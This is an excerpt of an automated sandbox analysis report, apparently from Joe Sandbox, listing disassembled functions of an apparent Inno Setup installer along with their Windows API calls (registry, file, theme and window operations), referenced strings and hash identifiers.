Instruction Fuzzy Hash: E82158B1E046099FCF04EFA9C8819AFBFB8FF44314F10457AE815B32D5D6385E118A99

Function 00459464 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C67C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C6A0

Part of subcall function 00403C70: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CAA
Part of subcall function 00403C70: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CB5

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 004594B8
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 004594E5

Strings

LoadTypeLib, xrefs: 004594C3
RegisterTypeLib, xrefs: 004594F0

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: fcff8a320e410abd742e4e5a94dc6f7a8dc11013f850c75510d54c687596eec8
Instruction ID: d932568d0ec17688a159fc7364b6311d62ec36a134e13693bd35ec17197697d8
Opcode Fuzzy Hash: fcff8a320e410abd742e4e5a94dc6f7a8dc11013f850c75510d54c687596eec8
Instruction Fuzzy Hash: 49118471B00608FFDB11EFAACD51A5EBBBDEB49705B118476FC04D3652EA389E14CA14

Function 0047A89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004241D0: SetWindowTextA.USER32(00010426,00000000), ref: 004241E8

GetFocus.USER32 ref: 0047A907
GetKeyState.USER32(0000007A), ref: 0047A919
WaitMessage.USER32(?,00000000,0047A940,?,00000000,0047A967,?,?,00000001,00000000,?,?,?,00481E1A,00000000,00482D1B), ref: 0047A923

Strings

Wnd=$%x, xrefs: 0047A8EB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: 583a210e54eefed18f338584c3d2b4ccdb3e5a3580f6883f30f4d680615afad3
Instruction ID: b0e5a71b3b0ecd857a4803ce5d2fa5d93056c1c25f7af3e2a1eb906074511cb7
Opcode Fuzzy Hash: 583a210e54eefed18f338584c3d2b4ccdb3e5a3580f6883f30f4d680615afad3
Instruction Fuzzy Hash: 6911ABB16042049FC700EF65C842ADEB7F8EB89314F52C876F508E3791D638AD308A6B

Function 004711CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(000000FF), ref: 004711D4
FileTimeToSystemTime.KERNEL32(?,?,000000FF), ref: 004711E3

Strings

(invalid), xrefs: 00471266
%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 00471258

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: 20afc403ebf6b0cc0e0787010675989c0d7729ad72ad87b0cc5a615b98fea7d3
Instruction ID: adf7e35eacd60fa4d999dd44f4fd7b30906add574fc338a25adb0171575f4db9
Opcode Fuzzy Hash: 20afc403ebf6b0cc0e0787010675989c0d7729ad72ad87b0cc5a615b98fea7d3
Instruction Fuzzy Hash: 40110DA440C3919AD340CF6AC44436BBAE4AB89704F04896EF9D8D6391E779C948DB77

Function 00456A1E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00456A2B

Part of subcall function 00406F58: DeleteFileA.KERNEL32(00000000,0049E624,0049B395,00000000,0049B3EA,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F63

MoveFileA.KERNEL32(00000000,00000000), ref: 00456A50

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

Strings

DeleteFile, xrefs: 00456A3C
MoveFile, xrefs: 00456A59

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: 09c19e204958cedc47e533a219ec10b241f0dd196d7cca680b1fc83a04ad49c8
Instruction ID: 2a6ac64b83d9ea9c71c9946e296afb608494ded8664b5e4821f91eb274172145
Opcode Fuzzy Hash: 09c19e204958cedc47e533a219ec10b241f0dd196d7cca680b1fc83a04ad49c8
Instruction Fuzzy Hash: F8F067706042145AD700EBA6E98266E67ACDB44316FA1403BFC04F32C3D93CDD08892D

Function 004584AC Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(?,00458517,?,00000001,00000000), ref: 0045850A

Strings

PendingFileRenameOperations, xrefs: 004584DC
PendingFileRenameOperations2, xrefs: 004584EB
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 004584B8

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: 0fd145d7b321597f1f39494d04f700e5e6106a89713dbc31690047b7babda5d9
Instruction ID: 217ea68acbec07c13fce8d4aa5ac4018e7fed074c3f945bfac9fa4ed9e787eeb
Opcode Fuzzy Hash: 0fd145d7b321597f1f39494d04f700e5e6106a89713dbc31690047b7babda5d9
Instruction Fuzzy Hash: 3FF06D316042087FE704D6669C23A1A73ACD744B1AFA0446EF904A7682FE7AED04961C

Function 00485338 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00485379
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0048539C

Strings

CSDVersion, xrefs: 00485370
System\CurrentControlSet\Control\Windows, xrefs: 00485346

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: 37baa724491e62cf9cf1304edcfa82370217787a45e2d7afca6a7be36e367668
Instruction ID: eff2036ceacce4ba093f71da7ee41fdef634b6c2b98e038b687771e8b05df3ca
Opcode Fuzzy Hash: 37baa724491e62cf9cf1304edcfa82370217787a45e2d7afca6a7be36e367668
Instruction Fuzzy Hash: 96F0A9B5E00709A6DF11E6D08C45BDFB3BC9B05344F104577ED10E7280E7B99A448759

Function 0042D768 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00456726,00000000,004567C9,?,?,00000000,00000000,00000000,00000000,00000000,?,00456A95,00000000), ref: 0042D782
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D788

Strings

kernel32.dll, xrefs: 0042D77D
GetSystemWow64DirectoryA, xrefs: 0042D778

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: d8a3107e36851b837be76c8ee7bb39893d07fa047dfd69d9d168f2914e847bf5
Instruction ID: 7c179eafeacaa73f73f5c35fd937b116620433eff2c97190b5c96a6dbe82634f
Opcode Fuzzy Hash: d8a3107e36851b837be76c8ee7bb39893d07fa047dfd69d9d168f2914e847bf5
Instruction Fuzzy Hash: ECE0DF71B10B4022D700B5BA5C8275F21894FC4B14FA0443B7E44E92C3EEBCC954066E

Function 0042E864 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042E7E0), ref: 0042E872
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E878

Strings

ShutdownBlockReasonDestroy, xrefs: 0042E868
user32.dll, xrefs: 0042E86D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 27c7ded4d8203434b9e5ce9358c480e7cdf6b6bf9015381a504b6a5dda4c480d
Instruction ID: 671a288d473111f2a26c5bed07d7f3e1c08b2e972e4be5bcf7e54d4fa9ba1452
Opcode Fuzzy Hash: 27c7ded4d8203434b9e5ce9358c480e7cdf6b6bf9015381a504b6a5dda4c480d
Instruction Fuzzy Hash: 39D0C75371173626691071F73CD19AB12CC8D1029A3644477FD44E7281E56DCC12156D

Function 0049B600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0049B8E0,00000001,00000000,0049B904), ref: 0049B60A
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0049B610

Strings

user32.dll, xrefs: 0049B605
DisableProcessWindowsGhosting, xrefs: 0049B600

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 9a70c28fefd812943f63304ff40095e96d90a7456cc963eba3c9d2684c07fdc6
Instruction ID: d82c0f4318b074f51a72a0407cec77b9e5c3bd8816f47594882ec411d6d0819a
Opcode Fuzzy Hash: 9a70c28fefd812943f63304ff40095e96d90a7456cc963eba3c9d2684c07fdc6
Instruction Fuzzy Hash: D7B09281240700248C0032B22F02E0F1D68C880709F244037F800A42CBDF6CAC1088BF

Function 004670D8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044E498: LoadLibraryA.KERNEL32(uxtheme.dll,?,0045258D,0049B88F), ref: 0044E4BF
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044E4D7
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044E4E9
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044E4FB
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044E50D
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044E51F
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044E531
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044E543
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044E555
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044E567
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044E579
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044E58B
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044E59D
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044E5AF
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044E5C1
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044E5D3
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044E5E5
Part of subcall function 0044E498: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044E5F7

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049B8B2), ref: 004670E7
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 004670ED

Strings

shell32.dll, xrefs: 004670E2
SHPathPrepareForWriteA, xrefs: 004670DD

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: 14c1e92ac2e7750519b5d478622b3ef7ba50897f22a0d409733734c7666127df
Instruction ID: 7046b09fa0b59e8fdf9f4a8e0bdfee50a37d6ed20bd2a9a6bcdea5532cae8cb0
Opcode Fuzzy Hash: 14c1e92ac2e7750519b5d478622b3ef7ba50897f22a0d409733734c7666127df
Instruction Fuzzy Hash: 2AB09290994B0078DA007773080394E2A88A42071E360883BB908BA2C3ED7C04684E3E

Function 00474A78 Relevance: 6.3, APIs: 4, Instructions: 263fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,00474C49,?,00000000,?,0049F1C8,00000000,00474E17,?,00000000,?,00000000,?,00474FE5), ref: 00474C25
FindClose.KERNEL32(000000FF,00474C50,00474C49,?,00000000,?,0049F1C8,00000000,00474E17,?,00000000,?,00000000,?,00474FE5,?), ref: 00474C43
FindNextFileA.KERNEL32(000000FF,?,00000000,00474D6B,?,00000000,?,0049F1C8,00000000,00474E17,?,00000000,?,00000000,?,00474FE5), ref: 00474D47
FindClose.KERNEL32(000000FF,00474D72,00474D6B,?,00000000,?,0049F1C8,00000000,00474E17,?,00000000,?,00000000,?,00474FE5,?), ref: 00474D65

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 121c257b754f37287293c94f5f3fb9c69b1b8508dee61cc4a239e037c8afaca2
Instruction ID: 0e7592a05954def7c027d37c91a753ad766a120f6a6b63445ccc65e3bea48ce6
Opcode Fuzzy Hash: 121c257b754f37287293c94f5f3fb9c69b1b8508dee61cc4a239e037c8afaca2
Instruction Fuzzy Hash: 40B10C3490425D9FCF11DFA5C881AEEBBB9FF49304F5081AAE848A3251D739AE45CF64

Function 0047F71C Relevance: 6.2, APIs: 4, Instructions: 194fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0047F88C,?,?,?,?,00000000,0047F9E1,?,00000000,00000000,00000000,?,0047FB35), ref: 0047F868
FindClose.KERNEL32(000000FF,0047F893,0047F88C,?,?,?,?,00000000,0047F9E1,?,00000000,00000000,00000000,?,0047FB35,00000000), ref: 0047F886

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: e773ca8c78b9d1c520343654925f801894f6533d1779260499b8d07570ebdb82
Instruction ID: 074621b84b305588949e4c7dc71483a8bcc8f8d43fe2736a4a3d0b8147577495
Opcode Fuzzy Hash: e773ca8c78b9d1c520343654925f801894f6533d1779260499b8d07570ebdb82
Instruction Fuzzy Hash: 78813C7090424DAFDB11DFA5C841BDFBBB9EF49308F5080BAE508A3291D7399A4ACF55

Function 00481784 Relevance: 6.1, APIs: 4, Instructions: 147fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,?,?,?,00000000,0048197D,?,00000000,00000000,?,?,00482B9A,?,?,00000000), ref: 0048182A
FindClose.KERNEL32(000000FF,000000FF,?,?,?,?,00000000,0048197D,?,00000000,00000000,?,?,00482B9A,?,?), ref: 00481837
FindNextFileA.KERNEL32(000000FF,?,00000000,00481950,?,?,?,?,00000000,0048197D,?,00000000,00000000,?,?,00482B9A), ref: 0048192C
FindClose.KERNEL32(000000FF,00481957,00481950,?,?,?,?,00000000,0048197D,?,00000000,00000000,?,?,00482B9A,?), ref: 0048194A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: ddd4e8bef281f74bcd07c6da1c13dcdf5d2df69ea5a1795646e460e9e9e9edf1
Instruction ID: 74b68890ff62120a43911b167199b1a7a315d718b2a7feb06da6c3399a85951d
Opcode Fuzzy Hash: ddd4e8bef281f74bcd07c6da1c13dcdf5d2df69ea5a1795646e460e9e9e9edf1
Instruction Fuzzy Hash: 3A515B74A00658AFCB11EFA5CC55ADEB7BCAB88319F5044ABE408A7351D6389F86CF14

Function 00421190 Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 0042127D
SetMenu.USER32(00000000,00000000), ref: 0042129A
SetMenu.USER32(00000000,00000000), ref: 004212CF
SetMenu.USER32(00000000,00000000), ref: 004212EB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 4c16a673f3ce8a74d97de4a5cc56013fbeb29f33efa05ef438e6839bc32338b8
Instruction ID: 3ac83aa53790457d5ee9aab262724a90f83853e75321b78be0d43f55f567e175
Opcode Fuzzy Hash: 4c16a673f3ce8a74d97de4a5cc56013fbeb29f33efa05ef438e6839bc32338b8
Instruction Fuzzy Hash: 9E41D73170025457DB20AB3A988579726955F65348F4804BFFC45EF3A7CABDCC85836C

Function 00413CC8 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413D16
GetDesktopWindow.USER32 ref: 00413DCE

Part of subcall function 00418E50: 6FA0C6F0.COMCTL32(?,00000000,00413F93,00000000,004140A3,?,?,0049E624), ref: 00418E6C
Part of subcall function 00418E50: ShowCursor.USER32(00000001,?,00000000,00413F93,00000000,004140A3,?,?,0049E624), ref: 00418E89

SetCursor.USER32(00000000,?,?,?,?,00413ADB,00000000,00413AEE), ref: 00413E0C

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 4c877c2a70fae806f005708465aa7755aafd05d69ee927cdbaf4b979eaa27a71
Instruction ID: de4d4ac3acbdfd121deda607a133611af4b7f9eb84c170d46eeda37b54e75a61
Opcode Fuzzy Hash: 4c877c2a70fae806f005708465aa7755aafd05d69ee927cdbaf4b979eaa27a71
Instruction Fuzzy Hash: 80418431600160FFDB00DF7AE989B5677E1AB64329B06447BF405CB365EA38ED81CB59

Function 00408A5C Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A7D
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AEC
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B87
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BC6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: d7b4944bb7993a739f0afc06e16ccd9344a1b26e8fc619127b41f6117e163d17
Instruction ID: f934a4f4f766cbc7c744566caa47b79ba1479ebc38ded96e171d1d2d814ee4f3
Opcode Fuzzy Hash: d7b4944bb7993a739f0afc06e16ccd9344a1b26e8fc619127b41f6117e163d17
Instruction Fuzzy Hash: D53163706083859BE370EB65C945B9B77D89B85304F40483FF6C8D72C1DBB9A9048B67

Function 00479E30 Relevance: 6.1, APIs: 4, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00479D64: GetWindowThreadProcessId.USER32(?), ref: 00479D6C
Part of subcall function 00479D64: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,?,?,?,00479E57,0049F09C,00000000), ref: 00479D7F
Part of subcall function 00479D64: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00479D85

